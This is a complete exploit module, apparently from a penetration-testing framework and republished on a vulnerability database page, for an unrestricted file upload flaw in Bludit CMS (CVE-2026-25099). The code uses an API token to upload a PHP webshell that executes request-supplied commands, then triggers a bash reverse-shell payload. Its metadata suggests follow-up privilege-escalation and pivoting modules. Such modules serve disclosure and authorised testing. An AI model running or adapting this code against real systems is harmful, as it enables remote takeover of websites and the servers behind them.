Bludit CMS < 3.18.4 - API Unrestricted File Upload to RCE
from kittysploit import *
from lib.protocols.http.http_client import Http_client
import random
import string
class Module(Exploit, Http_client):
__info__ = {
'name': 'Bludit CMS < 3.18.4 - API Unrestricted File Upload to RCE',
'description': 'Bludit CMS API plugin allows an authenticated user with a valid API token '
'to upload files of any type and extension via POST /api/files/<page-key>. '
'This module uploads a PHP webshell to achieve Remote Code Execution.',
'author': 'Yahia Hamza (original script), Kittysploit implementation',
'references': [
'CVE-2026-25099',
'https://github.com/bludit/bludit/archive/refs/tags/3.18.2.zip'
],
'platform': Platform.LINUX,
'arch': [Arch.PHP],
'payload': {
'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
'arch': Arch.PHP,
},
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
'post/shell/multi/manage/pivot_autoroute']},
},
}
token = OptString('', 'Bludit API token', True)
def get_page_key(self):
"""Retrieve a valid page key from the Bludit API."""
try:
r = self.http_request(
method='GET',
path='/api/pages',
params={'token': self.token}
)
if r and r.status_code == 200:
data = r.json()
if data.get("data") and len(data["data"]) > 0:
return data["data"][0]["key"]
except Exception as e:
print_debug(f"Failed to retrieve page key: {e}")
return None
def upload_shell(self, page_key):
"""Upload a PHP webshell via the unrestricted file upload endpoint."""
shell_name = "".join(random.choices(string.ascii_lowercase, k=8)) + ".php"
shell_content = '<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";} ?>'
files = {"file": (shell_name, shell_content, "application/x-php")}
try:
r = self.http_request(
method='POST',
path=f'/api/files/{page_key}',
data={'token': self.token},
files=files
)
if r and r.status_code == 200:
data = r.json()
if data.get("status") == "0":
# Path based on Bludit structure: /bl-content/uploads/pages/<page_key>/<file_name>
shell_url = f"/bl-content/uploads/pages/{page_key}/{shell_name}"
return shell_url, shell_name
except Exception as e:
print_error(f"Upload error: {e}")
return None, None
def execute_payload(self, shell_url):
"""Execute the payload via the uploaded webshell."""
print_status(f"Executing payload...")
try:
# self.payload contains the generated payload string (e.g. bash reverse shell command)
r = self.http_request(
method='GET',
path=shell_url,
params={'cmd': self.payload}
)
if r and r.status_code == 200:
return True
except Exception as e:
print_error(f"Payload execution error: {e}")
return False
def check(self):
"""Check if target is vulnerable and token is valid."""
page_key = self.get_page_key()
if page_key:
print_success(f"Token is valid. Found page key: {page_key}")
return True
return False
def run(self):
"""Main execution method"""
print_status("Starting exploit...")
page_key = self.get_page_key()
if not page_key:
print_error("Failed to retrieve page key. Check URL and token.")
return
print_status(f"Found page key: {page_key}")
shell_url, shell_name = self.upload_shell(page_key)
if not shell_url:
print_error("Upload failed.")
return
print_success(f"Shell uploaded to: {shell_url}")
# Verify shell is accessible
r = self.http_request(method='GET', path=shell_url)
if not r or r.status_code != 200:
print_error("Shell not accessible at the expected URL.")
return
print_status("Shell is accessible, executing payload...")
if self.execute_payload(shell_url):
print_success("Exploit finished successfully")
else:
print_error("Failed to execute payload")
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Jul 2026 11:31Current
5.9Medium risk
Vulners AI Score5.9